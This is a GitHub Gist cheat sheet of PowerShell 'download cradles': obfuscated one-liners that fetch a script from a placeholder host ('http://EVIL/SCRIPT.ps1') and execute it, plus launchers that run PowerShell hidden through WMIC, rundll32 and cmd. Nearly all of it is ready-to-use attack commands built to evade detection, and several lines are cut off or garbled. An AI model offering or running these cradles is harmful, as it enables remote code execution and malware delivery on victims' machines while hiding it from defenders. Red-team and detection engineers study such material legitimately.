


GitHub Gist

Search...

All gistsBack to GitHub

Sign inSign up

Instantly share code, notes, and snippets.

mgeeky / Download-Cradles-Oneliners.md

Last active 10 months ago

☆ Star13

🍴 Fork12

<> Code🔗 Revisions7☆ Stars13🔗 Forks12

Embed<script src="https://📄📄Download ZIP

Various Powershell Download Cradles purposed as one-liners

<> Download-Cradles-Oneliners.mdRaw

## Download Cradles

### 0) Extra goodies

- Obfuscated FromBase64String with -bxor nice for dynamic strings deobfuscation:

\$t=([type]('{1}{0}'-f'vert','Con'));\$t::((\$t.GetMethods()|?{\$\_.Name-clipboard'F\*g'}).Name).Invoke('Yk9CA05CA0hMV0I=
- The same as above but for UTF-16 base64 encoded strings:

\$t=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]\$t::((\$t.GetMethods()|?{\$\_.Name-clipboard'F\*g'}).Name).I

### A) Powershell Code Execution primitives

Phrase (Function).Invoke() may be rephrased as: &(Function)

- Scriptblock:

[scriptblock]::Create('Get-Service').Invoke()
- PS1.0 Invoke

\$ExecutionContext.(((\$ExecutionContext|Get-Member)[6].Name).(((\$ExecutionContext.(((\$ExecutionContext|Get-Member)[6
- Get-Alias:

&(DIR Alias:/I\*X)'Get-Service'
- Get-Command:

&(GCM I\*e-E\*)
- Powershell Runspace

[PowerShell]::Create().(([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service').Invoke()
- Concatenated IEX:

&(''.Substring.ToString()[67,72,64]-Join'')'Get-Service'
- Invoke-AsWorkflow (PS3.0+)

```
Invoke-AsWorkflow -Ex ('Get-Service')
```

B) Powershell Payload Download primitives

1. Invoke-RestMethod (PS3.0+)

```
('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})
```

2. Obfuscated `Net.WebClient.DownloadString` :

```
$w=(New-Object Net.WebClient);$w((((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1'))
```

3. `Net.WebRequest`:

```
[IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()
```

4. `Msxml2.XMLHTTP` COM object:

```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();$c.ResponseText
```

C) Operating-System Launcher primitives

1. WMIC:

```
WMIC  "pROCESS"      cALL      crEATE "PoWErSheLL -WiNdowstyLE HiDDeN -NonINTERA  Get-Service"
```

2. Rundll32 SHELL32.DLL,ShellExec\_RunDLL

```
RuNDlL32.exe SHELL32,ShellExec_RunDLL "POWErSheLL" "-w 1" " -NonInter " "-CO " "Get-Service"
```

3. Cmd + set VAR && Powershell iex VAR

```
cmd /c"set sqm=Get-Service&&PowErSheLL -WinDowStY hIDDeN -NoniNTERActi -coMmand .( ${E`NV:Com`sp`ec}[4,0])
```

4. Cmd + Echo | Powershell - (stdin)

```
CmD.exe /c" Echo/Get-Service | PoWErSheLL -nOninT -WindOw hiDDe -ComM (gcI 'vARiaBLE:eX*xT').vAlue.InvoKE
```

5. Cmd + Echo | Clip && Powershell iex clipboard

```
cmd /C" ECHO/Get-Service|cLIP&& POwErSHELL -Windo hIDd -NONINTE -St -ComMaN . ( \"{0}{1}{2}\"-f'Ad',
```

D) Combined Download Cradles

1. PowerShell 3.0+

```
IEX (iwr 'http://EVIL/SCRIPT.ps1')
```

2. Normal download cradle

```
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1")
```

3. Download Cradle combining *ScriptBlock* + `Invoke-RestMethod`

```
[scriptblock]::Create(('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})).Invoke()
```

4. `Msxm12.XMLHTTP` COM object with Scriptblock:

```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();[scriptblock]:
```

5. Minimized `Net.WebRequest` combined with *ScriptBlock* execution:

```
[scriptblock]::Create([IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse()).Ge
```

6. A bit obfuscated `Net.WebClient.DownloadString` with Get-Alias IEX variant:

```
$w=(New-Object Net.WebClient);$w((((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).In
```

7. Obfuscated `Net.HttpWebRequest` with `_Get-Command` IEX`:

```
$h=[tYpE]('{1}{2}{0}'-f('pWebRe'+'quest'),'Ne','t.Htt');$v((((gET-vAriABLE h).vAlue::Create('http://EVIL/SCRIPT
```

Sign up for free

 to join this conversation on GitHub. Already have an account? [Sign in to comment](#)